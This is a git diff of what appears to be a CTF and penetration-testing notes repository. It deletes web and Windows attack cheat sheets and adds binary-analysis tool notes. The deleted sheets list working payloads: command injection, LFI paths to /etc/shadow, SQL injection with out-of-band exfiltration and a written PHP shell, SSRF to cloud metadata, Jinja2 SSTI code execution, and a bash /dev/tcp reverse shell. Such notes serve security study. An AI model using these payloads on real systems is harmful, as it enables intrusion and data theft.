{d63a5850-8f16-11cf-9f47-00aa00bf345c} - - PS$ Get-ItemPropertyValue -Path "Registry::HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InprocServer32\" -Name '(default)'" - C:\WINDOWS\system32\wbem\cimwin32.dll - - PS$ (Get-CimClass -ClassName Win32_Process).CimClassMethods['Create'].Parameters - PS$ type C:\Windows\System32\wbem\cimwin32.mof - - PS$ $Win32_ProcessStartupClass = Get-CimClass -ClassName Win32_ProcessStartup - PS$ $ProcessStartupInformation = New-CimInstance -CimClass $Win32_ProcessStartupClass -Property @{'ShowWindow' = 0} -ClientOnly #0 = SW_HIDDEN - PS$ Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='notepad.exe'; CurrentDirectory='C:\'; ProcessStartupInformation=$ProcessStartupInformation}'} - ``` - -- Important Instance - - | Namespace | ClassName | - |-----------|-----------| - | `root/Microsoft/Windows/Defender` | `MSFT_MpComputerStatus` | - | `root/SecurityCenter2` | `AntivirusProduct` | - | `root/SecurityCenter2` | `FirewallProduct` | - | `root/cimv2` | `Win32_Account` | - | `root/cimv2` | `Win32_LoggedOnUser` | - | `root/cimv2` | `Win32_Process` | - - -#### Remote Command - - psexec - - Make sure `\\\admin$` can be accessed - - ```psh - reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f - netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes - psexec \\host -u -p -i [SessID] - ``` - - - wmic - - ```psh - reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f - netsh firewall set service remoteadmin enable - wmic /node: /user: /password: process call create - ``` - - - winrm - -#### minifilter - -#### WFP -- `HKLM\System\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Filter\` -- `HKLM\System\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Provider\` -- `HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\` - -#### AMSI - -#### UWP (app container) - - -### Linux 🐧 -> https://gtfobins.github.io/ - -### macOS 🍎 -- Resource Fork -- Named Fork -- Data Fork diff --git a/docs/technique/command-injection.md b/docs/technique/command-injection.md deleted file mode 100644 index 4021403..0000000 --- a/docs/technique/command-injection.md +++ /dev/null @@ -1,29 +0,0 @@ -# Command Injection -- Basic - - $ ping 127.0.0.1 `; id` - - $ ping 127.0.0.1 `| id` - - $ ping 127.0.0.1 `&& id` - - $ ping '127.0.0.1`'; id #` ' - - $ ping "`$(id)`" - - $ cat mewo.txt `$(id)` - - $ cat mewo.txt `` `id` `` - - Newline (0x0A, \n, %0A) -- Space Bypass - - $ cat``/flag - - $ cat\alert(1) - ... - Server: Apache/2.4.41\r\n - \r\n - Redirecting to / ... - ``` - -- Redis - - ``` - http://127.0.0.1:6379/%0D%0ASET%20key%20"value"%0D%0A - ----------------------------------------------------- - SET key "value"\r\n - ``` diff --git a/docs/technique/csrf.md b/docs/technique/csrf.md deleted file mode 100644 index 23053b4..0000000 --- a/docs/technique/csrf.md +++ /dev/null @@ -1,17 +0,0 @@ -# CSRF -- Cookies Security - - HttpOnly - - Secure - - Domain, Path, SameSite -- HTML Element - - GET: ``, ` - "> - '> - - ``` - -- Case Study - - [XSS in GMail’s AMP4Email via DOM Clobbering](https://research.securitum.com/xss-in-amp4email-dom-clobbering/) diff --git a/docs/technique/local-file-inclusion.md b/docs/technique/local-file-inclusion.md deleted file mode 100644 index 55398b4..0000000 --- a/docs/technique/local-file-inclusion.md +++ /dev/null @@ -1,123 +0,0 @@ -# Local File Inclusion (LFI) -- RCE - - [PHP filter chain generator](https://github.com/synacktiv/php_filter_chain_generator) - - access.log / error.log - - /proc/self/environ `user-agent` - - phpinfo `tmp file location` - - /tmp/sess\_{session\_name} `control session content` - - [session.upload\_progress](https://blog.orange.tw/2018/10/#session-tragedy) -- Trigger `php` - - require() - - require\_once() - - include() - - include\_once() -- Stream Wrapper - - `php://filter//resource=` - - | action | filter | - |:----------|:-------------------------| - | \ | convert.base64-encode | - | read= | string.rot13 | - | write= | zlib.deflate | - | | zlib.inflate | - - ``` - Multiple Filter - --------------- - php://filter/read=convert.base64-encode/ - read=string.rot13/ - ... - resource=phpinfo.php - ``` - - - `php://input` - - `php://fd` -- Sensitive Files - - Source Code - - Version Contorl - - [.git](https://github.com/arthaud/git-dumper) - - .svn - - .bzr - - Hidden File - - [.DS\_Store](https://github.com/lijiejie/ds_store_exp) - - .index.php.swp - - Unix - - /etc/hosts - - /etc/passwd - - /etc/shadow - - /proc/net/[tcp,udp] - - /proc/net/\* - - /proc/net/arp - - /proc/net/fib\_trie - - /proc/net/route - - /proc/sched\_debug - - /proc/self/cwd - - /proc/self/environ - - /proc/self/exe - - /proc/self/fd/[num] - - Web Server Config Files - - /etc/apache2/apache2.conf - - /etc/apache2/sites-available/000-default.conf - - /etc/nginx/nginx.conf - - /etc/php/php.ini -- Path Bypass - - Encoding - - | Encoding | Payload | Decode | - |:--------------------------------|:----------|:-------| - | unicode/UTF-8 encoding | %c1%1c | | - | | %c0%af | | - | unicode/UTF-7 encoding | | | - | overlong UTF-8 unicode encoding | %c0%2e | `.` | - | | %e0%40%ae | `.` | - | | %c0ae | `.` | - | | %c0%af | `/` | - | | %e0%80%af | `/` | - | | %c0%2f | `/` | - | | %c0%5c | `\` | - | | %c0%80%5c | `\` | - | URL encoding | %2e%2e%2f | `../` | - | | %2e%2e/ | `../` | - | | ..%2f | `../` | - | | %2e%2e%5c | `..\` | - | double URL encoding | %252F | `/` | - | | %255C | `\` | - | 16-bit Unicode encoding | %u002e | `.` | - | | %u2215 | `/` | - | | %u2216 | `\` | - - - Null Bytes - > bypass file type checking - - - `../../../../../passwd%00.jpg` - - Mangled Paths - > bypass removing traversal sequences - - - `....//` - - `...\//` - - `..//..//..\` - - Nginx Misconfiguration - > Nginx off-by-slash fail - > - > `http://127.0.0.1/static../settings.py` => `/home/app/static/../settings.py` - - ``` - location /static { - alias /home/app/static/; - } - ``` - -- Extension Bypass - - pHP - - pht, phtml, php[3,4,5,7] - - html, svg - - Apache2 Feature - > xxx.abc => run as php file - - ``` - .htaccess - --------- - - SetHandler application/x-httpd-php - - ``` diff --git a/docs/technique/privilege-escalation.md b/docs/technique/privilege-escalation.md deleted file mode 100644 index db7f60d..0000000 --- a/docs/technique/privilege-escalation.md +++ /dev/null @@ -1,7 +0,0 @@ -# Privilege Escalation -> [GTFOBins](https://gtfobins.github.io/) - -## Restricted Shell -> [Escape from Restricted Shells | 0xffsec](https://0xffsec.com/handbook/shells/restricted-shells/) - -- `$ ssh -t localhost "bash --noprofile"` diff --git a/docs/technique/prototype-pollution.md b/docs/technique/prototype-pollution.md deleted file mode 100644 index 9e1ffa3..0000000 --- a/docs/technique/prototype-pollution.md +++ /dev/null @@ -1,27 +0,0 @@ -# Prototype Pollution -- `a = new A()` - - `a`. \_\_proto\_\_ === `A`.prototype -- `undefined` may be replaced when its prototype has the attribute. -- Trigger - - Set - - [lodash](https://snyk.io/vuln/SNYK-JS-LODASH-608086) (\_.setWidth, \_.set) - - Merge / Extend - - CVE-2019-11358 (jQuery $.extend) - - Clone -- Prototype Chain - > When finding a property, JavaScript will go through the Prototype - Chain until \_\_proto\_\_ is null. - - ```javascript - > a = [] - > b = [] - > a["__proto__"]["test"] = "testtest" // a["__proto__"] is array - > b.test - < "testtest" - ``` -- Case Study - - [MITRE](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=prototype+pollution) - - [HackerOne XSS](https://hackerone.com/reports/986386) - - [CVE-2019-7609](https://slides.com/securitymb/prototype-pollution-in-kibana) - - [Client-Side Prototype Pollution](https://github.com/BlackFan/client-side-prototype-pollution) - - [Exploiting Client-Side Prototype Pollution in the wild](https://blog.s1r1us.ninja/research/PP) diff --git a/docs/technique/sql-injection.md b/docs/technique/sql-injection.md deleted file mode 100644 index 5950f26..0000000 --- a/docs/technique/sql-injection.md +++ /dev/null @@ -1,67 +0,0 @@ -# SQL Injection -- Type - > Prevent: Parameterized Query, Prepared Statement - - - Union Based - - Blind - - Boolean Based - - ``` - ... id = 1 and length(user()) > 0 - ... id = 1 and length(user()) > 16 - ... id = 1 and ascii(mid(user(),1,1)) > 0 - ... id = 1 and ascii(mid(user(),1,1)) > 80 - ``` - - - Time Based - - sleep - - ``` - ... id = 1 and IF(ascii(mid(user(),1,1))>0, SLEEP(10), 1) - ... id = 1 and IF(ascii(mid(user(),1,1))>80, SLEEP(10), 1) - ``` - - - query / large calculation data - - repeat('A', 10000) - - Error - - ExtractValue(xml, xpath) - - ``` - SELECT ExtractValue(1, concat(0x0a,version())); - ----------------------------------------------- - XPATH syntax error:' - 8.0.20' - ``` - - - UpdateXML(xml, xpath, new\_xml) - - exp(x) - - MultiLineString(LineString) - - MultiPolygon(Polygon) - - Out-of-Band - - | DB | Payload | Comment | - |:----------------|:------------------------------------------------------------------------|:----------| - | MySQL + Windows | `load_file(concat("\\\\", password, ".splitline.tw"))` | DNS Query | - | | SMB + DNS query log ([DNSBin](https://github.com/ettic-team/dnsbin)) | | - | Oracle | `url_http.request('http://splitline.tw/' \|\| (SELECT user FROM dual))` | | - - - Multi Byte SQL Injection -- Read / Write File - - `SELECT LOAD_FILE('/etc/passwd')` (MySQL) - - `SELECT pg_read_file('/etc/passwd', , )` (PostgresSQL) - - `SELECT "" INTO OUTFILE "/var/www/html/shell.php"` (MySQL) -- Common Function - - | DB | Function | | | | | - |:-------|:------------------|:----------------|:----------|:-----------|:---------| - | MySQL | user() | current\_user() | version() | database() | schema() | - | | group\_concat() | | | | | - | Oracle | url\_http.request | | | | | - -- Special Table - - | DB | Payload | Comment | - |:-------------|:--------------------------------------------------------------------|:----------| - | MySQL >= 5.0 | `SELECT schema_name FROM information_schema.schemata;` | Databases | - | | `SELECT table_name FROM information_schema.tables WHERE table_schema = '';` | Tables | - | | `SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = '' AND table_name = ''` | Columns | diff --git a/docs/technique/ssrf.md b/docs/technique/ssrf.md deleted file mode 100644 index d97605c..0000000 --- a/docs/technique/ssrf.md +++ /dev/null @@ -1,82 +0,0 @@ -# SSRF -> [SSRF bible Cheatsheet](https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf) - -- Scheme - > [URL schema support](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#bookmark=id.osggnj3pn7l6) - - - HTTP - - Docker API - `http://IP:2375/images/json` - - Cloud Metadata (GCP) - `http://metadata.google.internal/computeMetadata/v1/...` - - Cloud Metadata (AWS) - `http://169.254.169.254/latest/user-data/...` - - Gopher - > Generate arbitrary TCP packet under no interaction. - > - > `gopher:///` - - - [Gopher Payload Generator](https://github.com/tarunkant/Gopherus) - - HTTP GET/POST - `gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0A%0D%0A` - - MySQL (must without password) - [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - - Redis - `gopher://127.0.0.1:6379/_SET%20key%20"value"%0D%0A` - - PHP-FPM - - Local File - - `file:///etc/passwd` - - `file://localhost/etc/passwd` - - `python` `local_file:///etc/passwd` - - `java` `file:///var/www/html/` - - `java` `netdoc:///var/www/html/` -- Authority - - localhost - - 127.0.0.1 - - localhost - - 127.0.1 - - 127.1 - - 0.0.0.0 - - 0 - - IP Address - - 2130706443 (dec) - - 0x7f00000001 (hex) - - 0x7f.0x0.0x0.0x1 - - 0177000000001 (oct) - - 0177.0.0.01 - - IPv6 - - ::1 - - ::127.0.0.1 - - ::ffff:127.0.0.1 - - :: - - ip6-localhost - - IDN Encoding - - http://www.unicode.org/reports/tr46/ - - [Domain Obfuscator](https://splitline.github.io/domain-obfuscator/) - - http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ - - Domain Name Binding - - whatever.localtest.me - - 127.0.0.1.xip.io - - DNS Rebinding (Round-Robin DNS) - - foo.bar.10.0.0.1.xip.io - - A.54.87.54.87.1time.127.0.0.1.forever.rebind.network - - 36573657.7f000001.rbndr.us - - 302 Bypass - > If the environment does not block http redirect, query your own web server which respond - > - > ```php - > Header("Locathon: gopher://127.0.0.1:9000/_...") - > ?> - > ``` - - URL Parser - - `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` - - | 1.1.1.1 | 2.2.2.2 | 3.3.3.3 | - |:-------:|:--------:|:-------:| - | urllib2 | requests | urllib | - | httplib | | | - -- Case Study - - [$1.000 SSRF in Slack](https://elbs.medium.com/1-000-ssrf-in-slack-7737935d3884) - - [A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) diff --git a/docs/technique/ssti.md b/docs/technique/ssti.md deleted file mode 100644 index f9a18c7..0000000 --- a/docs/technique/ssti.md +++ /dev/null @@ -1,119 +0,0 @@ -# SSTI -- Identify Template Engine - ![](https://miro.medium.com/max/701/1*3hIShkWH_gjOt1b0LNPURQ.png) -- Jinja2 - > [Flask default template engine (doc)](https://jinja.palletsprojects.com/en/3.1.x/) - > [Exploiting Jinja SSTI with limited payload size.](https://niebardzo.github.io/2020-11-23-exploiting-jinja-ssti/) - > [GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2](https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/) - > [RCE-bypassing-as-much-as-I-possibly-can](https://hackmd.io/@Chivato/HyWsJ31dI#RCE-bypassing-as-much-as-I-possibly-can) - > [On SSTI & bypass of jinja2](https://chowdera.com/2020/12/20201221231521371q.html) - > [Builtin Filters](https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f) - - - Get `os` - - `{{lipsum.__globals__.os}}` - - `{{cycler.__init__.__globals__.os}}` - - Load `os` - - `{{config.from_object('os')}}` - - `{{ config }}` - - config.SECRET\_KEY - - config.from\_pyfile(filename) - - `{{ request }}` - - request.args.name - - request.cookies.name - - request.headers.name - - request.values.name - - request.form.name - - sandbox bypass - - ```python - #All the below payloads works under python2 - -------------------------------------------- - - #Starting from string or list - {{ ''.__class__.__base__ }} - - #File operation - {{ ''.__class__.__mro__[2].__subclasses__() }} - {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} - {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt').write('test') }} - - #RCE - {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() }} - > uid=1000(ubuntu)gid=1000(ubuntu)... - - #All the below payloads works under python3 - -------------------------------------------- - {{ ().__class__.__base__.__subclasses__() }} - {{ ().__class__.__base__.__subclasses__()[132] }} # - {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__ }} - {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('id') }} - - #Find eval - {% for c in [].__class__.__base__.__subclasses__(): %} - {% if c.__name__ == 'catch_warnings': %} - {% for b in c.__init__.__globals__.values(): %} - {% if b.__class__ == {}.__class__ %} - {% if 'eval' in b.keys(): %} - {{ b['eval']('__import__("os").popen("id").read()') }} - {% endif %} - {% endif %} - {% endfor %} - {% endif %} - {% endfor %} - - #Import - {% for x in ().__class__.__base__.__subclasses__() %} - {% if "warning" in x.__name__ %} - {{x()._module.__builtins__["__import__"]("os").popen(request.args.payload).read()}} - {% endif %} - {% endfor %} - ``` - - - Bypass - - `.` - - ```txt - /?ssti={{libsum['__globals__']['os']}} - ``` - - - `.` `_` - - ```txt - /?ssti={{lipsum['\x5f\x5fglobals\x5f\x5f']['os']}} - ``` - - - `.` `_` `[` `]` - - ```txt - /?ssti={{lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os')}} - ``` - - - `.` `_` `[` `]` `|` - - ```txt - /?ssti={{getattr(getattr(lipsum,'\x5f\x5fglobals\x5f\x5f'), 'os')}} - ``` - - - `.` `_` `[` `]` `{{` `}}` - - ```txt - /?ssti={%if lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os') %}{%endif%} - ``` - - - length or other special characters (`'` `"`) - - ```txt - /?ssti={{lipsum[request.args.param1][request.args.param2]}}¶m1=__globals__¶m2=os - - /?ssti={{config.update(payload=request.args.param1)}}¶m1=ls - /?ssti={{lipsum.__globals__.os.popen(config.payload)}} - ``` -- Ruby erb - - `<%= system('id') %>` -- PHP Smarty - - `{ system('id') }` -- PHP Twig - - `{{ ['id'] | filter('system') }}` -- Node.js ejs - - `<%= global.process.mainModule.require("child_process").execSync("id").toString() %>` -- Format String Attack diff --git a/docs/web.md b/docs/web.md deleted file mode 100644 index 789954f..0000000 --- a/docs/web.md +++ /dev/null @@ -1,289 +0,0 @@ -# Web -> [WEB CTF CheatSheet](https://github.com/w181496/Web-CTF-Cheatsheet/blob/master/README.md#%E7%A9%BA%E7%99%BD%E7%B9%9E%E9%81%8E) -> [Web Security CheatSheet](https://blog.p6.is/Web-Security-CheatSheet/) -> [Basic Concept of Penetration Testing](https://hackmd.io/@boik/ryf5wZM5Q#/) -> [Awesome Web Security](https://github.com/qazbnm456/awesome-web-security) -> [Basic concept of Penetration Testing](https://hackmd.io/@boik/ryf5wZM5Q?type=slide#/) -> [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html) -> [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/stable/) -> [PortSwigger Web Security Academy](https://portswigger.net/web-security) - - - -## Tool - -### Recon -- Target - - [SHODAN](https://www.shodan.io/) - > Search Engine for the Internet of Everything - - [Censys](https://search.censys.io/) - > Censys helps organizations, individuals, and researchers find and monitor - > every server on the Internet to reduce exposure and improve security - - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) -- Site Information - - [Netcraft Site Report](https://sitereport.netcraft.com/) - > Find out the infrastructure and technologies used by any site - - [crt.sh](https://crt.sh/) - > Enter an Identity (Domain Name, Organization Name, etc) - - Domain Information - - [IANA WHOIS Service](https://www.iana.org/whois) - - [DomainTools](https://whois.domaintools.com/) - - [robtex](https://www.robtex.com/) - > Subdomains - - maltego - > A platform for open-source intelligence (OSINT) and cyber investigations -- DNS Record - - DNS Lookup - - | Usage | Description | - |:------|:------------| - | `$ dig ${server:+@${server}} ${name:?} ${type}` | - | `$ nslookup ${type:+-type=${type}} ${name:?} ${server}` - | `$ drill ${name:?} ${server:+@${server}} ${type}` - - - DNS Reverse Lookup - - | Usage | Description | - |:------|:------------| - | `$ dig ${server:+@${server}} -x ${addr:?}` | - | `$ nslookup ${addr:?}` - | `$ drill -x ${addr:?}` - - - DNS Enumeration - - dnsenum - - knockpy.py - - [dnsdumpster](https://dnsdumpster.com/) - -- Site Enumeration - - Port Scanning - - | Usage | Description | - |:------|:------------| - | `$ nmap -A ${host:?}` | Scan with default setting. | - | `$ nmap --script "http-*" -p 80 ${host:?}` | Scan HTTP service. | - | `$ nmap -v -T5 -sS -n -p- ${host:?}` | Scan all ports. | - - - Directory Enumeration - - | Usage | Description | - |:------|:------------| - | `$ dirsearch -r -u ${url:?}` - | `$ dirbuster` | - | `$ dirb ${url:?} ${wordlist}` | - | `$ gobuster dir --url ${url:?} --wordlist ${wordlist:-/usr/share/wordlists/dirb/common.txt} -t ${threads:-100}` | General scan. | - | `$ wfuzz -c -z file,${wordlist:-/usr/share/wordlists/dirb/common.txt} -hc ${hidecode:-404} ${url:?}/FUZZ` | - | `$ ffuf` | - - - Parameter Enumeration - - | Usage | Description | - |:------|:------------| - | `$ wfuzz -c -z file,${wordlist:?} -hl ${hideline:-BBB} ${url:?}/?FUZZ{}=,FUZ2Z{}=` | Hide all results with same line count to the result queried by parameter and . | - - - Dumper - - git-dumper - -### Exploit -- Burpsuit -- c-jwt-cracker -- [Exploit DB](https://www.exploit-db.com/) -- Scanner - - nikto - - sqlmap - - xsser - - ZAP - -### Payload -- Backdoor - - weevely - - veil - - BeEF -- Reverse Shell - - `$ bash -c "/bin/sh -i >& /dev/tcp/${HOST}/${PORT} 0<&1"` - - [reverse ICMP shell (icmpsh)](https://github.com/bdamele/icmpsh) - -### Connection -- `/dev/tcp//` -- telnet -- nc / ncat / socat -- `$ certutil.exe -urlcache -f ` -- [HTTPie](https://devhints.io/httpie) - -### Public Temp Server -- webhook.site - - unique URL (https / CORS) - - unique email -- beeceptor -- hookbin.com -- requestbin.net - - -## Background - -### HTTP Protocol -- [Basics of HTTP](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Basics_of_HTTP) - - MIME - > type/subtype;parameter=value -- [URI schemes](https://en.wikipedia.org/wiki/List_of_URI_schemes) - - Data URI - > data:[\][;base64],\ - -### The Onion Routing Protocol (Tor) -> Tor is an overlay network. -> -> It is composed by thousands (~ 6-11k) **relays**, connected through -> **channels** that form **circuits** inside which **cells** are sent -> and received. -> -> -- [microlab.red](https://microlab.red/2024/09/03/tor-internals-for-those-of-us-who-also-have-a-life-1-n/) - -> [The Tor Project](https://www.torproject.org/) -> [TOR internals, for those of us who also have a life (1/n) | microlab.red](https://microlab.red/2024/09/03/tor-internals-for-those-of-us-who-also-have-a-life-1-n/) -> [TOR internals, for those of us who also have a life (2/n) | microlab.red](https://microlab.red/2024/09/23/tor-internals-for-those-of-us-who-also-have-a-life-2-n/) -> [Creating a Testing Tor Network From Scratch | dax](https://medium.com/@dax_dev/creating-a-testing-tor-network-from-scratch-e952d76a18cb) -> [Decentralized Routing in Tor Hidden Services](https://medium.com/@kyodo-tech/decentralized-routing-in-tor-hidden-services-40e0bc0793d5) - -- Directory Authority - > They are a set of specialized servers within the Tor network that - > collectively generate and distribute a signed document (known as - > the **consensus**) containing information about all known Tor relays. - > - > -- [The Tor Proejct](https://community.torproject.org/relay/governance/policies-and-proposals/directory-authority/) - - - [DA List](https://gitlab.torproject.org/tpo/core/tor/-/blob/HEAD/src/app/config/auth_dirs.inc) - - Consensus - - `$ curl https://collector.torproject.org/recent/relay-descriptors/consensuses/` -- Tor Circuit - > ``` - > Tor User → Guard Relay / Bridge Relay → Middle Relay → Exit Relay → Destination (example[.]com) - > ``` - > - > -- [The Tor Project](https://community.torproject.org/relay/types-of-relays/) - - - Bridge Relay - - not listed in the public Tor directory - - use pluggable transports to obfuscate their traffic to make it harder to detect - - Guard Relay - - first relay (hop) in a Tor circuit - - stable and fast - - Middle Relay - - concealment - - Exit Relay - - Exit Policy -- Onion Hidden Service (.onion) - ```mermaid - sequenceDiagram - actor Client - participant RP as Rendezvous Point - participant SD as Hidden Service Directory - participant IP as Introduction Point - participant OS as Onion Service - - OS->>IP: estabilish long-term circuit - activate IP - OS->>SD: publish service descriptor (introduction point) - Client->>RP: choose a relay - activate RP - Client->>SD: request service descriptor - Client->>IP: request service (rendezvous point) - IP->>OS: pass the request - deactivate IP - OS->>RP: meet the client - deactivate RP - ``` - - Onion Service - - Period - ``` - period_number = floor(unix_timestamp / period_length) - period_length = 1440 min [default 1 day] - ``` - - - Identity Key - > A 32 bytes ed25519 master key pair. - ``` - identity_pubkey - identity_prikey - ``` - - - Blinded Key - > A daily-rotated identifier derived from **identity_pubkey** - > related to the **period_number** and **period_length**. - ``` - blinded_pubkey - blinded_prikey - ``` - - - Descriptor Key - > A key pair signed by **blinded_prikey** that is used to sign - > the service descriptors. - - - Credential & Subcredential - ``` - CREDENTIAL = SHA3_256("credential" | identity_pubkey) - SUBCREDENTIAL = SHA3_256("subcredential" | CREDENTIAL | blinded_pubkey) - ``` - - - Service Address (v3) - > A 56 bytes long base32 encoded string with ".onion" suffix. - ``` - service_address = base32(identity_pubkey | CHECKSUM | VERSION) + ".onion" - CHECKSUM = blake2b(".onion checksum" | identity_pubkey | VERSION)[:2] - VERSION = "\x03" - ``` - - - Hidden Service Directory (HSDir) - > A subset of Tor relays that store **service descriptors**. - - - Descriptor ID - > One can determine the HDDir that stores the **service_descripter** - > from the **identity_pubkey** (embeded in the **service_address**) and the timestamp. - > - > Distributed Hash Table (DHT) Model - > - The first **hsdir_spread_store** relays with the **relay_id** - > greater than **descriptor_id** are the target HSDirs. - > - > - Client choose the HSDir randomly from **hsdir_spread_fetch** relays - > start from the first match. - - ``` - hsdir_n_replicas = an integer in range [1, 16] with default value 2. - hsdir_spread_fetch = an integer in range [1,128] with default value 3. - hsdir_spread_store = an integer in range [1,128] with default value 4. - shared_random_value = a pre-shared value determined by directory authorities for each period. - - descriptor_id = SHA3-256("stored-at-idx" | blinded_pubkey | hsdir_n_replicas | period_length | period_number) - relay_id = SHA3-256("node-idx" | node_identity | shared_random_value | period_number | period_length) - ``` - - Service Descriptor - > A service descriptor contains the introduction points, as long - > as the signature, which can be verified by the pubkey embedded - > in the service address. - > - > [HS-DESC-ENCRYPTION-KEYS](https://spec.torproject.org/rend-spec/hsdesc-encrypt.html#HS-DESC-ENCRYPTION-KEYS) - - - descriptor-lifetime - - descriptor-signing-key-cert - > A certificate that is signed by the blinded key to ensure the integrity. - - superencrypted - > Data encrypted with a symmetric key derived from **blinded_pubkey** - > and **SUBCREDENTIAL** to make sure the client knows the **service_address**. - - auth-client - > Decrypt information for authenticated users if restricted - > discovery is enabled. - - encrypted - > Data encrypted with a symmetric key derived from **blinded_pubkey**, - > **subcredentail**, and **descriptor_cookie** (if restricted - > discovery is enabled, leave blank otherwise) - - introduction-point - > Provide 3 relays by default. - - signature - - Introduction Point - > An onion service establishes long-term circuits to 3 different - > Tor relays, called introduction points, to conceal its location - > from clients. - > - > A client selects one of these introduction points, as listed in - > the service descriptor, to initiate communication with the - > service. - - Rendezvous Point - - verify secret from both side diff --git a/src/docs/category/binary/bof.md b/src/docs/category/binary/bof.md new file mode 100644 index 0000000..e4e3947 --- /dev/null +++ b/src/docs/category/binary/bof.md @@ -0,0 +1 @@ +# Buffer Overflow diff --git a/src/docs/category/binary/fuzzing.md b/src/docs/category/binary/fuzzing.md new file mode 100644 index 0000000..0bf7ef8 --- /dev/null +++ b/src/docs/category/binary/fuzzing.md @@ -0,0 +1 @@ +# Fuzzing diff --git a/docs/technique/heap.md b/src/docs/category/binary/heap.md similarity index 100% rename from docs/technique/heap.md rename to src/docs/category/binary/heap.md diff --git a/src/docs/category/binary/index.md b/src/docs/category/binary/index.md new file mode 100644 index 0000000..af12ed3 --- /dev/null +++ b/src/docs/category/binary/index.md @@ -0,0 +1,201 @@ +# Binary + +## Tool + +### File Analyzer + +#### General +- `$ file` + +#### ELF +- readelf + + | Usage | Description | + |-------|-------------| + | `$ readelf -S ` | Display the sections' header. | + | `$ readelf -s ` | Display the symbol table. | + +- objdump + + | Usage | Description | + |-------|-------------| + | `$ objdump -x ` | Display the contents of all headers. | + | `$ objdump -R ` | Display the dynamic relocation entries in the file. | + | `$ objdump -M intel -S ` | Intermix source code with disassembly. | + +#### PE +- PE-bear +- PEview +- PE Detective (ExplorerSuite) +- [reshacker](https://www.angusj.com/resourcehacker/) + - Add, modify or replace resources. + - Support strings, images, dialogs, menus, VersionInfo and Manifest resources. +- CFF Explorer (ExplorerSuite) +- Signature Explorer (ExplorerSuite) +- 010 editor + + +### Pack Detector +- PEiD +- DIE (detect it easy) + - identify shell and other info + +### Demangler +- `$ c++filt` + +### Decompiler +- [Decompiler Explorer Online](https://dogbolt.org/) +- [Compiler Explorer Online](https://godbolt.org/) +- jad +- uncompyle6 +- [dnSpy](https://github.com/dnSpy/dnSpy) (.Net Framwork) +- Telerik/JustAssembly + +### Debugger +- IDA pro + + | Usage | Description | + |:-----------------------------------------------------|:-----------------------| + | `` | set variable structure | + | `` | string list | + | `r` / `h` | encode | + | `x` | xrefs | + | `y` | type declaration | + | `` | search | + | `` > `reset pointer type` > `create new struct type` | | + + - [IDA Skins](https://github.com/zyantific/IDASkins) + +- Ghidra +- Windbg preview +- x64dbg + + | Usage | Description | + |:------------|:-------------| + | `` | modify code | + | `` | patch binary | + | `` > `s` | search | + +- gdb + + | Usage | Description | + |:-------|:------------| + | watch | | + | rwatch | | + | awatch | | + | x/[N][g,w,h,b]x | | + + - plugins + - peda + - gef + - pwndbg + - pwngdb +- CheatEngine72 + +### Running Environ +- x86 binary on x64 OS + - `$ sudo apt install mingw-w64` + - `/usr/x86_64-w64-mingw32/include` + - `/usr/i686-w64-mingw32/include` +- Library + - `$ patchelf --set-interpreter ./libc/ld-linux.so.2 --set-rpath ./libc/ ` + - `$ env LD_PRELOAD= ` +- Behavior + - sandboxie + - regsnap + - regshot + - [Microsoft Research Detours Package](https://github.com/microsoft/Detours) + - Process Monitor (SysinternalsSuite) + - pintool + - strace / ltrace + +### Payload +- pwntools +- one\_gadget +- angr + + +## Background + +### Calling Convention +- Compare + + | Type | Platform | Ret | Parameters | Stack Cleaner | Note | + |----------------------------------|---------------------|---------|-----------------------------|---------------|-------------------------------------------| + | stdcall | Win32 API | eax | stack | callee | | + | cdecl | Win32 / Linux x86 | eax | stack | caller | | + | Microsoft x64 calling convention | Win64 | rax | rcx,rdx,r8,r9,stack | caller | | + | SysV ABI (C ABI) | Linux x86\_64 | rdx:rax | rdi,rsi,rdx,rcx,r8,r9,stack | caller | called when 16-byte aligned | + | syscall | Linux x86\_64 | rax | rdi,rsi,rdx,r10,r8,r9,stack | caller | rax: syscall number, rcx: rip, r11: flags | + | int 0x80 | Linux x86 | eax | ebx,ecx,edx,esd,edi,ebp | caller | eax: syscall number | + +- Win32 Calling Convention Example + - stdcall (win32api) + + ```c + __attribute__((stdcall)) void func(int a, int b, int c) { + ... + } + ``` + + 